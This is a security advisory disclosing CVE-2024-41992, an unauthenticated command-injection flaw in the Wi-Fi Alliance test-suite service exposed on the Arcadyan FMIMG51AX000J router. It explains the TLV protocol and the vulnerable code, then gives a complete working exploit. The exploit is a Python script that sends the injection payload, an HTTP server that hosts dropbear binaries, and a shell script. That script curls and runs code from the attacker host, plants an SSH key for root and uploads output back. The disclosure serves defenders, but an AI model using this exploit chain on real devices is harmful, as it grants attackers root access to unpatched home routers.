SSD Advisory – Arcadyan FMIMG51AX000J (WiFi Alliance) RCE

Summary

A vulnerability in Arcadyan FMIMG51AX000J model, and potentially other WiFi Alliance-affiliated devices using the same version, allows remote attackers to execute arbitrary code.

Credit

An independent security researcher, @fj016, working with SSD Secure Disclosure

Vendor Response

We reached out to WiFi Alliance via CERT VINCE (Case VU#123336) in April 2024, several months later, and with no clear schedule for the release of a fix (by the vendor or by WiFi Alliance) we have decided to release this advisory to notify the public of this vulnerability without being able to provide a fix

Affected Versions
  • Arcadyan FMIMG51AX000J
  • DUT-Wi-FiTestSuite-9.0.0
CVE

CVE-2024-41992

Technical Analysis

While doing an NMAP port scan on the router in question, we can notice that ports 8000 and 8080 are open, moreover, nmap gets a response when it tries to probe them but can’t determine the service:

##############################NEXT PROBE##############################
Probe TCP wfa_dut q|\x01\x00\x00\x00|
rarity 1
ports 8000,8080

match wfa_dut m|^\x01\x00\x08\x02\x04\x00\x00\x00\x00\x00\x00\x00DUT-Wi-FiTestSuite-|

When fuzzing some TCP packets to the router, we can observe some responses containing DUT-Wi-FiTestSuite-9.0.0.

Searching for the name of this service, we come across this repo. The service that is running seems to be a test utility, developed by the Wi-Fi Alliance to test / prepare routers during the testing phases (so evidently nothing to do on a production device).

After digging a little in the source code (the documentation being of little help), we were able to more or less understand the operation of the service.

The service listens in TCP on a predefined port, it then waits for TLV packets of this format (Type and Length are defined as unsigned shorts here and here, the maximum value of the parameters is given here):

TypeLengthValue
2 bytes2 bytes0-640 bytes

(We also shouldn’t forget, for later, the difference in endianness between the network protocol and C processing, indeed, the values transmitted via the packets are generally in big endian but are processed in little endian on the machine side, so a type ‘1’ packet will start with \x01\x00 (at the time of sending) and not \x00\x01)

We find the list of functions that are callable with those packets, with their corresponding values in lib/wfa_cmdtbl.c, and a description of the functions is available in the documentation.

A typical packet to get the version of WiFi-TestSuite that is running would therefore be (by calling the agtCmdProcGetVersion function):

\x01\x00\x00\x00

So we have the value which is ‘1’ because we call the first function (see wfa_cmdtbl) and the length which is ‘0’ because this function does not take any parameters. And surprise:

So we get the response we had seen at the beginning 😀.

To make sure it’s not just a fluke we can for example send the wfaStaGetInfo (27) command:

So we do have access to the service and apparently the documentation and our assumptions about the source code are rather correct .

Digging deeper

Of course, we then wondered if it was possible to execute commands via this poorly documented and apparently little-known service (Spoiler: yes)

The first thing we do, is look at the documentation to see the precise utility of each function, but not very interesting at this level.

Obviously sensitive commands to modify the device configuration, or get information.

But these seem either to rely on binaries not present on the device or to reveal information already known by an attacker (the ports are exposed locally, so we assume that the attacker is already connected to the network and therefore already knows the access key for example).

However, looking at the code, something caught my attention, I’m just going to go back a bit to be clear about how the binary processes the received packets:

Here nothing abnormal, the packets are parsed as soon as they are received and the parameters are stored in a variable (they must be provided in ASCII format).

The function to parse the packets is wfaDecodeTLV:

/*
 * wfaDecodeTLV(); Decoding a TLV format into actually values
 * input:  tlv_data - the TLV format packet buffer
 *         tlv_len  - the total length of the TLV
 * output: ptag - the TLV type
 *         pval_len - the value length
 *         pvalue - value buffer, caller must allocate the buffer
 */

BOOL wfaDecodeTLV(BYTE *tlv_data, int tlv_len, WORD *ptag, int *pval_len, BYTE *pvalue)
{
    wfaTLV *data = (wfaTLV *)tlv_data;

    if(pvalue == NULL)
    {
        DPRINT_ERR(WFA_ERR, "Parm buf invalid\\n");
        return WFA_FAILURE; //False
    }
    *ptag = data->tag;
    *pval_len = data->len;

    if(tlv_len < *pval_len)
        return WFA_FAILURE; //False

    if(*pval_len != 0 && *pval_len < MAX_PARMS_BUFF)
    {
        wMEMCPY(pvalue, tlv_data+4, *pval_len);
    }

    return WFA_SUCCESS;
}

The functions are then called with the output :

gWfaCmdFuncTbl[xcCmdTag](cmdLen, parmsVal, &respLen, (BYTE *)respBuf);

Here, we look for the function at the index xcCmdTag in our table defined above, we also pass the length of the params via cmdLen and their value in parmsVal.

Let’s now look at how the called functions are constructed, here we look for example at the function WfaStaGetIpConfig, which, as its name suggests, returns the router’s ipconfig (the function is simplified for readability):

int wfaStaGetIpConfig(int len, BYTE *caCmdBuf, int *respLen, BYTE *respBuf)
{
    //...
        // We cast our params into the "dutCommand_t" structure
    dutCommand_t *getIpConf = (dutCommand_t *)caCmdBuf;

    // ifname is extracted from our structure containing our params
    char *ifname = getIpConf->intf;

    // Formatting the command with ifname
    char gCmdStr[256];
    sprintf(gCmdStr, "getipconfig.sh /tmp/ipconfig.txt %s\\n", ifname);
    system(gCmdStr); // Execution of the formatted command

    // Processing of the results and preparation of the response (simplified)
    // ...
    return WFA_SUCCESS; // Simplification
}

We can therefore see that our params are cast with the dutCommand_t structure which is defined here:

//In wfa_types.h we have
//#define WFA_IF_NAME_LEN 16
typedef struct dut_commands
{
    char intf[WFA_IF_NAME_LEN];
    union _cmds
    {
       //Other types
    } cmdsu;
} dutCommand_t;

Thus, the command that will be executed is formatted with the first 16 bytes of the parameters sent with the command, so if we provide a malicious entry in the parameters, we can end up with an injection/command execution:

     0a00        |       0a00          | 2428736c656570203529
Type (10 = 0x0a) | Length (10 = 0x0a) | Val = '$(sleep 5)'

The formatted command will therefore be getipconfig.sh /tmp/ipconfig.txt $(sleep 5)\\n thus allowing us to execute commands.

However, the exploitability of such an injection is debatable, indeed we cannot inject commands of more than 13 characters (16 bytes – 3 bytes for $() ) making the exploitation relatively complicated

Non-exploitability in less than 13 characters?

Even though theoretically possible, by injecting several times commands of type $(echo a>>b), the command injection via these functions is not stable, for reasons that we have not yet determined, but which seem related to the way the program handles multiple connections and the reception of several packets.

This causes excessive crashes of the program and ports are closed :

if(nbytes <=0)
{
  /* error handling the reception of the packet closing the ports in case of error */
  shutdown(gxcSockfd, SHUT_WR);
  close(gxcSockfd);
  gxcSockfd = -1;
}

and therefore requires a restart of the router, the files we write are not persistent on reboot, so we lose our progress, making the exploitation complicated.

Exploitation via other functions

However, it is possible to find functions that take larger inputs, for the exploit we used the wfaTGSendPing function, defined here, which takes the following structure to cast the parameters:

//In wfa_tg.h
//#define IPV6_ADDRESS_STRING_LEN    40
typedef struct _tg_ping_start
{
    char dipaddr[IPV6_ADDRESS_STRING_LEN];  /* destination/remote ip address */
    int  frameSize;
    float  frameRate;
    int  duration;
    int  type;
    int  qos;
    int  iptype;
    int  dscp;
} tgPingStart_t;

The function then passes this structure to WfaSendPing, where the command injection is present:

if (staPing->iptype == 2)
{
  if ( tos>0)
    sprintf(cmdStr, "echo streamid=%i > /tmp/spout_%d.txt;wfaping6.sh %s %s -i %f -c %i -Q %d -s %i -q >> /tmp/spout_%d.txt 2>/dev/null",
                    streamid,streamid,bflag, staPing->dipaddr, *interval, totalpkts, tos,  staPing->frameSize,streamid);
  else
    sprintf(cmdStr, "echo streamid=%i > /tmp/spout_%d.txt;wfaping6.sh %s %s -i %f -c %i -s %i -q >> /tmp/spout_%d.txt 2>/dev/null",
                    streamid,streamid,bflag, staPing->dipaddr, *interval, totalpkts, staPing->frameSize,streamid);
  sret = system(cmdStr);

We see that staPing->dipaddr is used to format the command that will be executed, and, because of IPv6, the maximum length of dipaddr is 40 bytes instead of 16 bytes provided for IPv4.

We thus have much broader exploitation possibilities.

Notably by using the binaries already present on the targeted system

We can therefore send the following packet:

      0200      |         2100       | 24287368202d63202224286375726c203139322e3136382e312e3234373a34292229
Type (2 = 0x02) | Length (33 = 0x21) | Value = '$(sh -c "$(curl 192.168.1.247:4)")'

In parallel, we run on our machine a Python server that serves:

  • / → A bash script that download and configure dropbear
  • /db → Dropbear binary
  • /dbk → dropbearkey binary
  • POST /* → Print post requests on the console (debug)

And boom full root access !

Exploit
# exploit.py
from pwn import *
import time


def create_tlv_packet(tag, value):
    """
    Create a TLV packet with a given tag and value.
    Tag is expected to be an integer, and value a byte string.
    """
    tag_bytes = p16(tag)
    length_bytes = p16(len(value))
    tlv_packet = tag_bytes + length_bytes + value
    return tlv_packet


def send_tlv_packet(ip, port, packet):
    """
    Send a TLV packet to the specified IP and port.
    Returns the response received.
    """
    conn = remote(ip, port)
    sent = time.time()

    conn.send(packet)
    response = conn.recv(8192)

    recv = time.time()
    print(
        f"response received in {recv-sent} seconds"
    )  # Added during testing to check RCE with sleep

    conn.close()

    return response


if __name__ == "__main__":
    target_ip = "192.168.1.1"
    target_port = 8080  # Port that works for me, change as needed
    tag = 2
    value = b'$(sh -c "$(curl 192.168.1.247:4)")111111'  # Local ip of the attacker device (payload must be less than 40 bytes)
    packet = create_tlv_packet(tag, value)

    response = send_tlv_packet(target_ip, target_port, packet)

    print("Received response:", response)
# server.py
from http.server import HTTPServer, BaseHTTPRequestHandler


class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        # Serve a specific file on a GET request
        if self.path == "/":
            self.send_response(200)
            self.send_header("Content-type", "text/plain")
            self.end_headers()
            with open("a", "rb") as file:
                self.wfile.write(file.read())
        elif self.path == "/db":
            self.send_response(200)
            self.send_header("Content-type", "text/plain")
            self.end_headers()
            with open("dropbear", "rb") as file:
                self.wfile.write(file.read())
        elif self.path == "/dbk":
            self.send_response(200)
            self.send_header("Content-type", "text/plain")
            self.end_headers()
            with open("dropbearkey", "rb") as file:
                self.wfile.write(file.read())
        else:
            self.send_response(404)
            self.end_headers()
            self.wfile.write(b"File not found")

    def do_POST(self):
        # Print the content of any POST request
        content_length = int(self.headers["Content-Length"])
        post_data = self.rfile.read(content_length)
        print("Received POST request:\n", post_data.decode("utf-8"))

        # Respond to the POST request
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.end_headers()
        response_message = "POST request received"
        self.wfile.write(response_message.encode("utf-8"))


def run(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler, port=4):
    server_address = ("", port)
    httpd = server_class(server_address, handler_class)
    print(f"Serving HTTP on port {port}...")
    httpd.serve_forever()


if __name__ == "__main__":
    run()
# a
curl 192.168.1.247:4/db -o /tmp/db
curl 192.168.1.247:4/dbk -o /tmp/dbk
curl 192.168.1.247:4/pwd -d "$(ls /tmp)"
chmod +x /tmp/db
chmod +x /tmp/dbk
curl 192.168.1.247:4/pwd -d "$(ls -lah /tmp)"
(
mkdir /etc/dropbear
mkdir /root/.ssh
/tmp/dbk -t rsa -f /etc/dropbear/dropbear_rsa_host_key 2>&1
echo "{your_ssh_key}" > /root/.ssh/authorized_keys 2>&1
/tmp/db -p 75 2>&1
) > /tmp/full_output.log
curl -F "file=@/tmp/full_output.log" http://192.168.1.247:4/upload

?

Get in touch

Skip to content